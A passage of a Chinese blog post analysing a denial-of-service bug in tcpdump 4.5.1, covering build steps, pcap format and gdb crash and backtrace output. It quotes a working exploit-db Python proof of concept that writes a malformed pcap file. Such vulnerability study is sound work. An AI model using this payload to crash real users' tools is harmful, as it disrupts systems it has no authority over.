Cool-Y.github.io/2018/12/25/TCPDUMP拒绝服务攻击漏洞/index.html
2019-07-10 17:03:44 +08:00

1418 lines
92 KiB
HTML
Raw Blame History

This file contains invisible Unicode characters

This file contains invisible Unicode characters that are indistinguishable to humans but may be processed differently by a computer. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

<!DOCTYPE html>
<html class="theme-next gemini use-motion" lang="zh-Hans">
<head><meta name="generator" content="Hexo 3.8.0">
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1">
<meta name="theme-color" content="#222">
<meta http-equiv="Cache-Control" content="no-transform">
<meta http-equiv="Cache-Control" content="no-siteapp">
<link href="/lib/fancybox/source/jquery.fancybox.css?v=2.1.5" rel="stylesheet" type="text/css">
<link href="/lib/font-awesome/css/font-awesome.min.css?v=4.6.2" rel="stylesheet" type="text/css">
<link href="/css/main.css?v=5.1.4" rel="stylesheet" type="text/css">
<link rel="apple-touch-icon" sizes="180x180" href="/images/hackerrank.png?v=5.1.4">
<link rel="icon" type="image/png" sizes="32x32" href="/images/hackerrank.png?v=5.1.4">
<link rel="icon" type="image/png" sizes="16x16" href="/images/hackerrank.png?v=5.1.4">
<link rel="mask-icon" href="/images/logo.svg?v=5.1.4" color="#222">
<meta name="keywords" content="TCPDUMP,拒绝服务攻击,">
<meta name="description" content="TCPDUMP 4.5.1 拒绝服务攻击漏洞分析Tcpdump介绍 tcpdump 是一个运行在命令行下的嗅探工具。它允许用户拦截和显示发送或收到过网络连接到该计算机的TCP/IP和其他数据包。tcpdump 适用于大多数的类Unix系统 操作系统包括Linux、Solaris、BSD、Mac OS X、HP-UX和AIX 等等。在这些系统中tcpdump 需要使用libpcap这个捕捉数据的">
<meta name="keywords" content="TCPDUMP,拒绝服务攻击">
<meta property="og:type" content="article">
<meta property="og:title" content="TCPDUMP拒绝服务攻击漏洞">
<meta property="og:url" content="https://cool-y.github.io/2018/12/25/TCPDUMP拒绝服务攻击漏洞/index.html">
<meta property="og:site_name" content="混元霹雳手">
<meta property="og:description" content="TCPDUMP 4.5.1 拒绝服务攻击漏洞分析Tcpdump介绍 tcpdump 是一个运行在命令行下的嗅探工具。它允许用户拦截和显示发送或收到过网络连接到该计算机的TCP/IP和其他数据包。tcpdump 适用于大多数的类Unix系统 操作系统包括Linux、Solaris、BSD、Mac OS X、HP-UX和AIX 等等。在这些系统中tcpdump 需要使用libpcap这个捕捉数据的">
<meta property="og:locale" content="zh-Hans">
<meta property="og:updated_time" content="2019-07-01T09:28:40.813Z">
<meta name="twitter:card" content="summary">
<meta name="twitter:title" content="TCPDUMP拒绝服务攻击漏洞">
<meta name="twitter:description" content="TCPDUMP 4.5.1 拒绝服务攻击漏洞分析Tcpdump介绍 tcpdump 是一个运行在命令行下的嗅探工具。它允许用户拦截和显示发送或收到过网络连接到该计算机的TCP/IP和其他数据包。tcpdump 适用于大多数的类Unix系统 操作系统包括Linux、Solaris、BSD、Mac OS X、HP-UX和AIX 等等。在这些系统中tcpdump 需要使用libpcap这个捕捉数据的">
<script type="text/javascript" id="hexo.configurations">
var NexT = window.NexT || {};
var CONFIG = {
root: '/',
scheme: 'Gemini',
version: '5.1.4',
sidebar: {"position":"left","display":"post","offset":12,"b2t":false,"scrollpercent":false,"onmobile":false},
fancybox: true,
tabs: true,
motion: {"enable":true,"async":false,"transition":{"post_block":"fadeIn","post_header":"slideDownIn","post_body":"slideDownIn","coll_header":"slideLeftIn","sidebar":"slideUpIn"}},
duoshuo: {
userId: '0',
author: '博主'
},
algolia: {
applicationID: '',
apiKey: '',
indexName: '',
hits: {"per_page":10},
labels: {"input_placeholder":"Search for Posts","hits_empty":"We didn't find any results for the search: ${query}","hits_stats":"${hits} results found in ${time} ms"}
}
};
</script>
<link rel="canonical" href="https://cool-y.github.io/2018/12/25/TCPDUMP拒绝服务攻击漏洞/">
<title>TCPDUMP拒绝服务攻击漏洞 | 混元霹雳手</title>
</head>
<body itemscope itemtype="http://schema.org/WebPage" lang="zh-Hans">
<div class="container sidebar-position-left page-post-detail">
<div class="headband"></div>
<header id="header" class="header" itemscope itemtype="http://schema.org/WPHeader">
<div class="header-inner"><div class="site-brand-wrapper">
<div class="site-meta ">
<div class="custom-logo-site-title">
<a href="/" class="brand" rel="start">
<span class="logo-line-before"><i></i></span>
<span class="site-title">混元霹雳手</span>
<span class="logo-line-after"><i></i></span>
</a>
</div>
<p class="site-subtitle">多得是,你不知道的事</p>
</div>
<div class="site-nav-toggle">
<button>
<span class="btn-bar"></span>
<span class="btn-bar"></span>
<span class="btn-bar"></span>
</button>
</div>
</div>
<nav class="site-nav">
<ul id="menu" class="menu">
<li class="menu-item menu-item-home">
<a href="/" rel="section">
<i class="menu-item-icon fa fa-fw fa-home"></i> <br>
首页
</a>
</li>
<li class="menu-item menu-item-about">
<a href="/about/" rel="section">
<i class="menu-item-icon fa fa-fw fa-user"></i> <br>
关于
</a>
</li>
<li class="menu-item menu-item-tags">
<a href="/tags/" rel="section">
<i class="menu-item-icon fa fa-fw fa-tags"></i> <br>
标签
</a>
</li>
<li class="menu-item menu-item-categories">
<a href="/categories/" rel="section">
<i class="menu-item-icon fa fa-fw fa-th"></i> <br>
分类
</a>
</li>
<li class="menu-item menu-item-archives">
<a href="/archives/" rel="section">
<i class="menu-item-icon fa fa-fw fa-archive"></i> <br>
归档
</a>
</li>
<li class="menu-item menu-item-bookmarks">
<a href="/bookmarks/" rel="section">
<i class="menu-item-icon fa fa-fw fa-map"></i> <br>
书签
</a>
</li>
<li class="menu-item menu-item-search">
<a href="javascript:;" class="popup-trigger">
<i class="menu-item-icon fa fa-search fa-fw"></i> <br>
搜索
</a>
</li>
</ul>
<div class="site-search">
<div class="popup search-popup local-search-popup">
<div class="local-search-header clearfix">
<span class="search-icon">
<i class="fa fa-search"></i>
</span>
<span class="popup-btn-close">
<i class="fa fa-times-circle"></i>
</span>
<div class="local-search-input-wrapper">
<input autocomplete="off" placeholder="搜索..." spellcheck="false" type="text" id="local-search-input">
</div>
</div>
<div id="local-search-result"></div>
</div>
</div>
</nav>
</div>
</header>
<main id="main" class="main">
<div class="main-inner">
<div class="content-wrap">
<div id="content" class="content">
<div id="posts" class="posts-expand">
<article class="post post-type-normal" itemscope itemtype="http://schema.org/Article">
<div class="post-block">
<link itemprop="mainEntityOfPage" href="https://cool-y.github.io/2018/12/25/TCPDUMP拒绝服务攻击漏洞/">
<span hidden itemprop="author" itemscope itemtype="http://schema.org/Person">
<meta itemprop="name" content="Cool-Y">
<meta itemprop="description" content>
<meta itemprop="image" content="/images/avatar.png">
</span>
<span hidden itemprop="publisher" itemscope itemtype="http://schema.org/Organization">
<meta itemprop="name" content="混元霹雳手">
</span>
<header class="post-header">
<h1 class="post-title" itemprop="name headline">TCPDUMP拒绝服务攻击漏洞</h1>
<div class="post-meta">
<span class="post-time">
<span class="post-meta-item-icon">
<i class="fa fa-calendar-o"></i>
</span>
<span class="post-meta-item-text">发表于</span>
<time title="创建于" itemprop="dateCreated datePublished" datetime="2018-12-25T12:26:05+08:00">
2018-12-25
</time>
</span>
<span class="post-category">
<span class="post-meta-divider">|</span>
<span class="post-meta-item-icon">
<i class="fa fa-folder-o"></i>
</span>
<span class="post-meta-item-text">分类于</span>
<span itemprop="about" itemscope itemtype="http://schema.org/Thing">
<a href="/categories/二进制/" itemprop="url" rel="index">
<span itemprop="name">二进制</span>
</a>
</span>
</span>
<span id="/2018/12/25/TCPDUMP拒绝服务攻击漏洞/" class="leancloud_visitors" data-flag-title="TCPDUMP拒绝服务攻击漏洞">
<span class="post-meta-divider">|</span>
<span class="post-meta-item-icon">
<i class="fa fa-eye"></i>
</span>
<span class="post-meta-item-text">阅读次数&#58;</span>
<span class="leancloud-visitors-count"></span>
</span>
<div class="post-wordcount">
<span class="post-meta-item-icon">
<i class="fa fa-file-word-o"></i>
</span>
<span title="字数统计">
3.3k 字
</span>
<span class="post-meta-divider">|</span>
<span class="post-meta-item-icon">
<i class="fa fa-clock-o"></i>
</span>
<span title="阅读时长">
15 分钟
</span>
</div>
</div>
</header>
<div class="post-body" itemprop="articleBody">
<h1 id="TCPDUMP-4-5-1-拒绝服务攻击漏洞分析"><a href="#TCPDUMP-4-5-1-拒绝服务攻击漏洞分析" class="headerlink" title="TCPDUMP 4.5.1 拒绝服务攻击漏洞分析"></a>TCPDUMP 4.5.1 拒绝服务攻击漏洞分析</h1><h2 id="Tcpdump介绍"><a href="#Tcpdump介绍" class="headerlink" title="Tcpdump介绍"></a>Tcpdump介绍</h2><ol>
<li>tcpdump 是一个运行在命令行下的嗅探工具。它允许用户拦截和显示发送或收到过网络连接到该计算机的TCP/IP和其他数据包。tcpdump 适用于大多数的类Unix系统 操作系统包括Linux、Solaris、BSD、Mac OS X、HP-UX和AIX 等等。在这些系统中tcpdump 需要使用libpcap这个捕捉数据的库。其在Windows下的版本称为WinDump它需要WinPcap驱动相当于在Linux平台下的libpcap.</li>
<li>tcpdump能够分析网络行为性能和应用产生或接收网络流量。它支持针对网络层、协议、主机、网络或端口的过滤并提供and、or、not等逻辑语句来帮助你去掉无用的信息从而使用户能够进一步找出问题的根源。</li>
<li>也可以使用 tcpdump 的实现特定目的,例如在路由器和网关之间拦截并显示其他用户或计算机通信。通过 tcpdump 分析非加密的流量如Telnet或HTTP的数据包查看登录的用户名、密码、网址、正在浏览的网站内容或任何其他信息。因此系统中存在网络分析工具主要不是对本机安全的威胁而是对网络上的其他计算机的安全存在威胁。</li>
</ol>
<h2 id="分析环境"><a href="#分析环境" class="headerlink" title="分析环境"></a>分析环境</h2><ul>
<li>Ubuntu 16.04.4 LTS i686</li>
<li>tcpdump 4.5.1</li>
<li>gdb with peda</li>
</ul>
<h2 id="漏洞复现"><a href="#漏洞复现" class="headerlink" title="漏洞复现"></a>漏洞复现</h2><p>这个漏洞触发的原因是tcpdump在处理特殊的pcap包的时候由于对数据包传输数据长度没有进行严格的控制导致在连续读取数据包中内容超过一定长度后会读取到无效的内存空间从而导致拒绝服务的发生。对于这个漏洞首先要对pcap包的结构进行一定的分析才能够最后分析出漏洞的成因下面对这个漏洞进行复现。</p>
<h3 id="编译安装tcpdump"><a href="#编译安装tcpdump" class="headerlink" title="编译安装tcpdump"></a>编译安装tcpdump</h3><figure class="highlight applescript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="number">1.</span> <span class="comment"># apt-get install libpcap-dev</span></span><br><span class="line"><span class="number">2.</span> <span class="comment"># dpkg -l libpcap-dev</span></span><br><span class="line"><span class="number">3.</span> <span class="comment"># wget https://www.exploit-db.com/apps/973a2513d0076e34aa9da7e15ed98e1b-tcpdump-4.5.1.tar.gz</span></span><br><span class="line"><span class="number">4.</span> <span class="comment"># tar -zxvf 973a2513d0076e34aa9da7e15ed98e1b-tcpdump-4.5.1.tar.gz</span></span><br><span class="line"><span class="number">5.</span> <span class="comment"># cd tcpdump-4.5.1/</span></span><br><span class="line"><span class="number">6.</span> <span class="comment"># ./configure</span></span><br><span class="line"><span class="number">7.</span> <span class="comment"># make</span></span><br><span class="line"><span class="number">8.</span> <span class="comment"># make install</span></span><br><span class="line"><span class="number">9.</span> <span class="comment"># tcpdump -version</span></span><br><span class="line"> tcpdump <span class="built_in">version</span> <span class="number">4.5</span><span class="number">.1</span></span><br><span class="line"> libpcap <span class="built_in">version</span> <span class="number">1.7</span><span class="number">.4</span></span><br></pre></td></tr></table></figure>
<h3 id="生成payload来自exploit-db-payload"><a href="#生成payload来自exploit-db-payload" class="headerlink" title="生成payload来自exploit-db payload"></a>生成payload来自exploit-db payload</h3><figure class="highlight taggerscript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br></pre></td><td class="code"><pre><span class="line"># Exploit Title: tcpdump 4.5.1 Access Violation Crash</span><br><span class="line"># Date: 31st May 2016</span><br><span class="line"># Exploit Author: David Silveiro</span><br><span class="line"># Vendor Homepage: http://www.tcpdump.org</span><br><span class="line"># Software Link: http://www.tcpdump.org/release/tcpdump-4.5.1.tar.gz</span><br><span class="line"># Version: 4.5.1</span><br><span class="line"># Tested on: Ubuntu 14 LTS</span><br><span class="line">from subprocess import call</span><br><span class="line">from shlex import split</span><br><span class="line">from time import sleep</span><br><span class="line"></span><br><span class="line">def crash():</span><br><span class="line"> command = 'tcpdump -r crash'</span><br><span class="line"> buffer = '<span class="symbol">\x</span>d4<span class="symbol">\x</span>c3<span class="symbol">\x</span>b2<span class="symbol">\x</span>a1<span class="symbol">\x</span>02<span class="symbol">\x</span>00<span class="symbol">\x</span>04<span class="symbol">\x</span>00<span class="symbol">\x</span>00<span class="symbol">\x</span>00<span class="symbol">\x</span>00<span class="symbol">\x</span>f5<span class="symbol">\x</span>ff'</span><br><span class="line"> buffer += '<span class="symbol">\x</span>00<span class="symbol">\x</span>00<span class="symbol">\x</span>00I<span class="symbol">\x</span>00<span class="symbol">\x</span>00<span class="symbol">\x</span>00<span class="symbol">\x</span>e6<span class="symbol">\x</span>00<span class="symbol">\x</span>00<span class="symbol">\x</span>00<span class="symbol">\x</span>00<span class="symbol">\x</span>80<span class="symbol">\x</span>00'</span><br><span class="line"> buffer += '<span class="symbol">\x</span>00<span class="symbol">\x</span>00<span class="symbol">\x</span>00<span class="symbol">\x</span>00<span class="symbol">\x</span>00<span class="symbol">\x</span>08<span class="symbol">\x</span>00<span class="symbol">\x</span>00<span class="symbol">\x</span>00<span class="symbol">\x</span>00&lt;<span class="symbol">\x</span>9c7@<span class="symbol">\x</span>ff<span class="symbol">\x</span>00'</span><br><span class="line"> buffer += '<span class="symbol">\x</span>06<span class="symbol">\x</span>a0r<span class="symbol">\x</span>7f<span class="symbol">\x</span>00<span class="symbol">\x</span>00<span class="symbol">\x</span>01<span class="symbol">\x</span>7f<span class="symbol">\x</span>00<span class="symbol">\x</span>00<span class="symbol">\x</span>ec<span class="symbol">\x</span>00<span class="symbol">\x</span>01<span class="symbol">\x</span>e0<span class="symbol">\x</span>1a'</span><br><span class="line"> buffer += "<span class="symbol">\x</span>00<span class="symbol">\x</span>17g+++++++<span class="symbol">\x</span>85<span class="symbol">\x</span>c9<span class="symbol">\x</span>03<span class="symbol">\x</span>00<span class="symbol">\x</span>00<span class="symbol">\x</span>00<span class="symbol">\x</span>10<span class="symbol">\x</span>a0&amp;<span class="symbol">\x</span>80<span class="symbol">\x</span>18<span class="symbol">\'</span>"</span><br><span class="line"> buffer += "xfe$<span class="symbol">\x</span>00<span class="symbol">\x</span>01<span class="symbol">\x</span>00<span class="symbol">\x</span>00@<span class="symbol">\x</span>0c<span class="symbol">\x</span>04<span class="symbol">\x</span>02<span class="symbol">\x</span>08<span class="symbol">\n</span>', '<span class="symbol">\x</span>00<span class="symbol">\x</span>00<span class="symbol">\x</span>00<span class="symbol">\x</span>00"</span><br><span class="line"> buffer += '<span class="symbol">\x</span>00<span class="symbol">\x</span>00<span class="symbol">\x</span>00<span class="symbol">\x</span>00<span class="symbol">\x</span>01<span class="symbol">\x</span>03<span class="symbol">\x</span>03<span class="symbol">\x</span>04'</span><br><span class="line"> with open('crash', 'w+b') as file:</span><br><span class="line"> file.write(buffer)</span><br><span class="line"> try:</span><br><span class="line"> call(split(command))</span><br><span class="line"> print("Exploit successful! ")</span><br><span class="line"> except:</span><br><span class="line"> print("Error: Something has gone wrong!")</span><br><span class="line">def main():</span><br><span class="line"> print("Author: David Silveiro ")</span><br><span class="line"> print(" tcpdump version 4.5.1 Access Violation Crash ")</span><br><span class="line"> sleep(2)</span><br><span class="line"> crash()</span><br><span class="line">if __name__ == "__main__":</span><br><span class="line"> main()</span><br></pre></td></tr></table></figure>
<h2 id="崩溃分析"><a href="#崩溃分析" class="headerlink" title="崩溃分析"></a>崩溃分析</h2><h3 id="pcap包格式"><a href="#pcap包格式" class="headerlink" title="pcap包格式"></a>pcap包格式</h3><p>首先来分析一下pcap包的格式首先是pcap文件头的内容在.h有所定义这里将结构体以及对应变量含义都列出来。<br><figure class="highlight mipsasm"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">struct pcap_file_header &#123;</span><br><span class="line"> <span class="keyword">bpf_u_int32 </span>magic<span class="comment">;</span></span><br><span class="line"> u_short version_major<span class="comment">;</span></span><br><span class="line"> u_short version_minor<span class="comment">;</span></span><br><span class="line"> <span class="keyword">bpf_int32 </span>thiszone<span class="comment">; /* gmt to local correction */</span></span><br><span class="line"> <span class="keyword">bpf_u_int32 </span>sigfigs<span class="comment">; /* accuracy of timestamps */</span></span><br><span class="line"> <span class="keyword">bpf_u_int32 </span>snaplen<span class="comment">; /* max length saved portion of each pkt */</span></span><br><span class="line"> <span class="keyword">bpf_u_int32 </span>linktype<span class="comment">; /* data link type (LINKTYPE_*) */</span></span><br><span class="line">&#125;<span class="comment">;</span></span><br></pre></td></tr></table></figure></p>
<p>看一下各字段的含义:<br><figure class="highlight lsl"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><span class="line"> magic <span class="number">4</span>字节 pcap文件标识 目前为“d4 c3 b2 a1”</span><br><span class="line"> major <span class="number">2</span>字节 主版本号 #define PCAP_VERSION_MAJOR <span class="number">2</span></span><br><span class="line"> minor <span class="number">2</span>字节 次版本号 #define PCAP_VERSION_MINOR <span class="number">4</span></span><br><span class="line"> thiszone<span class="number">4</span>字节 时区修正 并未使用,目前全为<span class="number">0</span></span><br><span class="line"> sigfigs <span class="number">4</span>字节 精确时间戳 并未使用,目前全为<span class="number">0</span></span><br><span class="line"> snaplen <span class="number">4</span>字节 抓包最大长度 如果要抓全,设为<span class="number">0x0000ffff</span><span class="number">65535</span></span><br><span class="line"> tcpdump -s <span class="number">0</span>就是设置这个参数,缺省为<span class="number">68</span>字节</span><br><span class="line"> linktype<span class="number">4</span>字节 链路类型 一般都是<span class="number">1</span>ethernet</span><br><span class="line"></span><br><span class="line">struct pcap_pkthdr &#123;</span><br><span class="line"> struct timeval ts; <span class="comment">/* time stamp */</span></span><br><span class="line"> bpf_u_int32 caplen; <span class="comment">/* length of portion present */</span></span><br><span class="line"> bpf_u_int32 len; <span class="comment">/* length this packet (off wire) */</span></span><br><span class="line">&#125;;</span><br><span class="line">struct timeval &#123;</span><br><span class="line"> long tv_sec; <span class="comment">/* seconds (XXX should be time_t) */</span></span><br><span class="line"> suseconds_t tv_usec; <span class="comment">/* and microseconds */</span></span><br><span class="line">&#125;;</span><br><span class="line"> ts <span class="number">8</span>字节 抓包时间 <span class="number">4</span>字节表示秒数,<span class="number">4</span>字节表示微秒数</span><br><span class="line"> caplen<span class="number">4</span>字节 保存下来的包长度最多是snaplen比如<span class="number">68</span>字节)</span><br><span class="line"> len <span class="number">4</span>字节 数据包的真实长度如果文件中保存的不是完整数据包可能比caplen大</span><br></pre></td></tr></table></figure></p>
<p>其中len变量是值得关注的因为在crash文件中对应len变量的值为00 3C 9C 37<br>这是一个很大的值读取出来就是379C3C00数非常大实际上在wireshark中打开这个crash文件就会报错会提示这个数据包的长度已经超过了范围而换算出来的长度就是379C3C00这是触发漏洞的关键。</p>
<h3 id="gdb调试"><a href="#gdb调试" class="headerlink" title="gdb调试"></a>gdb调试</h3><p>首先通过gdb运行tcpdump用-r参数打开poc生成的crashtcp崩溃到达漏洞触发位置<br><figure class="highlight markdown"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br></pre></td><td class="code"><pre><span class="line"><span class="bullet">1. </span>Program received signal SIGSEGV, Segmentation fault.</span><br><span class="line"><span class="bullet">2. </span>[----------------------------------registers-----------------------------------]</span><br><span class="line"><span class="bullet">3. </span>EAX: 0x1</span><br><span class="line"><span class="bullet">4. </span>EBX: 0x81e33bd --&gt; 0x0</span><br><span class="line"><span class="bullet">5. </span>ECX: 0x2e ('.')</span><br><span class="line"><span class="bullet">6. </span>EDX: 0x0</span><br><span class="line"><span class="bullet">7. </span>ESI: 0xbfffe201 ('.' <span class="xml"><span class="tag">&lt;<span class="name">repeats</span> <span class="attr">14</span> <span class="attr">times</span>&gt;</span></span>)</span><br><span class="line"><span class="bullet">8. </span>EDI: 0xbfffe1db --&gt; 0x30303000 ('')</span><br><span class="line"><span class="bullet">9. </span>EBP: 0x10621</span><br><span class="line"><span class="bullet">10. </span>ESP: 0xbfffe1ac --&gt; 0x8053caa (<span class="xml"><span class="tag">&lt;<span class="name">hex_and_ascii_print_with_offset+170</span>&gt;</span></span>: mov ecx,DWORD PTR [esp+0xc])</span><br><span class="line"><span class="bullet">11. </span>EIP: 0x8053c6a (<span class="xml"><span class="tag">&lt;<span class="name">hex_and_ascii_print_with_offset+106</span>&gt;</span></span>: movzx edx,BYTE PTR [ebx+ebp*2+0x1])</span><br><span class="line"><span class="bullet">12. </span>EFLAGS: 0x10296 (carry PARITY ADJUST zero SIGN trap INTERRUPT direction overflow)</span><br><span class="line"><span class="bullet">13. </span>[-------------------------------------code-------------------------------------]</span><br><span class="line"><span class="bullet">14. </span>0x8053c5d <span class="xml"><span class="tag">&lt;<span class="name">hex_and_ascii_print_with_offset+93</span>&gt;</span></span>: je 0x8053d40 <span class="xml"><span class="tag">&lt;<span class="name">hex_and_ascii_print_with_offset+320</span>&gt;</span></span></span><br><span class="line"><span class="bullet">15. </span>0x8053c63 <span class="xml"><span class="tag">&lt;<span class="name">hex_and_ascii_print_with_offset+99</span>&gt;</span></span>: mov ebx,DWORD PTR [esp+0x18]</span><br><span class="line"><span class="bullet">16. </span>0x8053c67 <span class="xml"><span class="tag">&lt;<span class="name">hex_and_ascii_print_with_offset+103</span>&gt;</span></span>: sub esp,0x4</span><br><span class="line"><span class="bullet">17. </span>=&gt; 0x8053c6a <span class="xml"><span class="tag">&lt;<span class="name">hex_and_ascii_print_with_offset+106</span>&gt;</span></span>: movzx edx,BYTE PTR [ebx+ebp*2+0x1]</span><br><span class="line"><span class="bullet">18. </span>0x8053c6f <span class="xml"><span class="tag">&lt;<span class="name">hex_and_ascii_print_with_offset+111</span>&gt;</span></span>: movzx ecx,BYTE PTR [ebx+ebp*2]</span><br><span class="line"><span class="bullet">19. </span>0x8053c73 <span class="xml"><span class="tag">&lt;<span class="name">hex_and_ascii_print_with_offset+115</span>&gt;</span></span>: push edx</span><br><span class="line"><span class="bullet">20. </span>0x8053c74 <span class="xml"><span class="tag">&lt;<span class="name">hex_and_ascii_print_with_offset+116</span>&gt;</span></span>: mov ebx,edx</span><br><span class="line"><span class="bullet">21. </span>0x8053c76 <span class="xml"><span class="tag">&lt;<span class="name">hex_and_ascii_print_with_offset+118</span>&gt;</span></span>: mov DWORD PTR [esp+0x18],edx</span><br><span class="line"><span class="bullet">22. </span>[------------------------------------stack-------------------------------------]</span><br><span class="line"><span class="bullet">23. </span>0000| 0xbfffe1ac --&gt; 0x8053caa (<span class="xml"><span class="tag">&lt;<span class="name">hex_and_ascii_print_with_offset+170</span>&gt;</span></span>: mov ecx,DWORD PTR [esp+0xc])</span><br><span class="line"><span class="bullet">24. </span>0004| 0xbfffe1b0 --&gt; 0xb7fff000 --&gt; 0x23f3c</span><br><span class="line"><span class="bullet">25. </span>0008| 0xbfffe1b4 --&gt; 0x1</span><br><span class="line"><span class="bullet">26. </span>0012| 0xbfffe1b8 --&gt; 0x2f5967 ('gY/')</span><br><span class="line"><span class="bullet">27. </span>0016| 0xbfffe1bc --&gt; 0x0</span><br><span class="line"><span class="bullet">28. </span>0020| 0xbfffe1c0 --&gt; 0x0</span><br><span class="line"><span class="bullet">29. </span>0024| 0xbfffe1c4 --&gt; 0x7ffffff9</span><br><span class="line"><span class="bullet">30. </span>0028| 0xbfffe1c8 --&gt; 0x81e33bd --&gt; 0x0</span><br><span class="line"><span class="bullet">31. </span>[------------------------------------------------------------------------------]</span><br><span class="line"><span class="bullet">32. </span>Legend: code, data, rodata, value</span><br><span class="line"><span class="bullet">33. </span>Stopped reason: SIGSEGV</span><br><span class="line"><span class="bullet">34. </span>hex<span class="emphasis">_and_</span>ascii<span class="emphasis">_print_</span>with_offset (ident=0x80c04af "\n\t", cp=0x8204000 <span class="xml"><span class="tag">&lt;<span class="name">error:</span> <span class="attr">Cannot</span> <span class="attr">access</span> <span class="attr">memory</span> <span class="attr">at</span> <span class="attr">address</span> <span class="attr">0x8204000</span>&gt;</span></span>,</span><br><span class="line"><span class="bullet">35. </span>length=0xfffffff3, oset=0x20c40) at ./print-ascii.c:91</span><br><span class="line"><span class="bullet">36. </span>91 s2 = *cp++;</span><br></pre></td></tr></table></figure></p>
<p>从崩溃信息来看出错位置为s2 = <em>cp++;崩溃原因为SIGSEGV即进程执行了一段无效的内存引用或发生段错误。可以看到问题出现在./print-ascii.c:91而且此时指针读取[ebx+ebp</em>2+0x1]的内容,可能是越界读取造成的崩溃。<br>再结合源码信息可知指针cp在自加的过程中访问到了一个没有权限访问的地址因为这是写在一个while循环里也就是是说nshorts的值偏大再看nshorts怎么来的由此nshorts = length / sizeof(u_short);可知可能是函数传入的参数length没有控制大小导致因此目标就是追踪length是如何传入的。<br>我们通过bt回溯一下调用情况。<br><figure class="highlight routeros"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line">1. gdb-peda$ bt</span><br><span class="line">2. #0 hex_and_ascii_print_with_offset (<span class="attribute">ident</span>=0x80c04af <span class="string">"\n\t"</span>, <span class="attribute">cp</span>=0x8204000 &lt;error: Cannot access memory at<span class="built_in"> address </span>0x8204000&gt;,</span><br><span class="line">3. <span class="attribute">length</span>=0xfffffff3, <span class="attribute">oset</span>=0x20c40) at ./print-ascii.c:91</span><br><span class="line">4. #1 0x08053e26 <span class="keyword">in</span> hex_and_ascii_print (<span class="attribute">ident</span>=0x80c04af <span class="string">"\n\t"</span>, <span class="attribute">cp</span>=0x81e33bd <span class="string">""</span>, <span class="attribute">length</span>=0xfffffff3) at ./print-ascii.c:127</span><br><span class="line">5. #2 0x08051e7d <span class="keyword">in</span> ieee802_15_4_if_print (<span class="attribute">ndo</span>=0x81e1320 &lt;Gndo&gt;, <span class="attribute">h</span>=0xbfffe40c, <span class="attribute">p</span>=&lt;optimized out&gt;) at ./print-802_15_4.c:180</span><br><span class="line">6. #3 0x080a0aea <span class="keyword">in</span> print_packet (<span class="attribute">user</span>=0xbfffe4dc <span class="string">" \023\036\b\300\034\005\b\001"</span>, <span class="attribute">h</span>=0xbfffe40c, <span class="attribute">sp</span>=0x81e33a8 <span class="string">"@\377"</span>)</span><br><span class="line">7. at ./tcpdump.c:1950</span><br><span class="line">8. #4 0xb7fa3468 <span class="keyword">in</span> ?? () <span class="keyword">from</span> /usr/lib/i386-linux-gnu/libpcap.so.0.8</span><br><span class="line">9. #5 0xb7f940e3 <span class="keyword">in</span> pcap_loop () <span class="keyword">from</span> /usr/lib/i386-linux-gnu/libpcap.so.0.8</span><br><span class="line">10. #6 0x0804b3dd <span class="keyword">in</span> main (<span class="attribute">argc</span>=0x3, <span class="attribute">argv</span>=0xbffff6c4) at ./tcpdump.c:1569</span><br><span 